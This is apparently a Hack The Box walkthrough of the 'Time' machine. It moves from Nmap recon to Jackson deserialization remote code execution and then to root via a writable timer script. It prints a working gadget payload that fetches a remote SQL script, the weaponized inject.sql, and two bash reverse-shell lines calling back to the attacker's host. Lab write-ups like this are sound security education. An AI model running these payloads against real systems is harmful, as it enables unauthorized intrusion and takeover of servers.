📦HTB: Time – Deserialization, Java Shenanigans & Root in Style

This medium-difficulty HTB box was a great lesson in one thing: Read the damn error. Then research it like your shell depends on it.

🧭 Enumeration

🔍 Nmap Scan

As always, I began with a full enumeration sweep:

nmap -Pn -n -A --reason -vvv -oN nmap/00-basic.txt -iL target.txt

Findings:

• Port 22: OpenSSH 8.2p1 (Ubuntu)

• Port 80: Apache 2.4.41 hosting a web server titled "Online JSON Parser"

🕸 Recon

The website was a JSON beautifier — harmless-looking, but CTFs don’t give you port 80 unless they want you to do evil developer things.

I ran hakrawler to check for juicy endpoints:

cat url.txt | hakrawler -proxy http://localhost:8080 -subs -d 5 -insecure -s -json >hakrawler.json

No admin panel. No hidden paths. But what caught my eye was how it handled malformed JSON...

💥 Exploitation – Jackson Deserialization RCE

Normal JSON works:

{"test":"hello"}

But malformed input returned this beauty:

Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException

Expected START_ARRAY, got START_OBJECT… "need JSON Array to contain As.WRAPPER_ARRAY type information..."

Boom. Jackpot. That’s Jackson Deserialization.

I dug into this article that became my savior: 🔗 https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

🧪 Payload Time

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:8000/inject.sql'"}]

• 📄 inject.sql – Weaponized

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.8/4444 0>&1')

nc -lvnp 4444

💥 Reverse shell obtained!

🧍 Local Privilege Escalation – Timer Shenanigans

After running linpeas, I found something gold:

• /usr/bin/timer_backup.sh run as root every 10 seconds

echo "bash -i >& /dev/tcp/10.10.14.8/9000 0>&1" > /usr/bin/timer_backup.sh

nc -lvnp 9000

📈 Got root. Simple, clean, and elegant.

https://www.hackthebox.com/achievement/machine/409699/286www.hackthebox.com

References

• https://github.com/lorenzodegiorgi/jackson-vulnerability

• https://github.com/FasterXML/jackson/wiki/Jackson-Polymorphic-Deserialization-CVE-Criteria

• https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/

• https://www.youtube.com/watch?v=uS37TujnLRw

• https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

🧠 Final Thoughts

What made HTB: Time stand out wasn’t the difficulty of the exploit. It was the importance of interpreting Java errors and knowing what to Google.

➡️ Lesson: Sometimes the error is the clue.

This box was a smooth ride with:

• 🔍 Deep Java debugging

• 🧬 Deserialization abuse

• 📅 Scheduled script escalation

And that's a wrap! Time box — rooted. ✅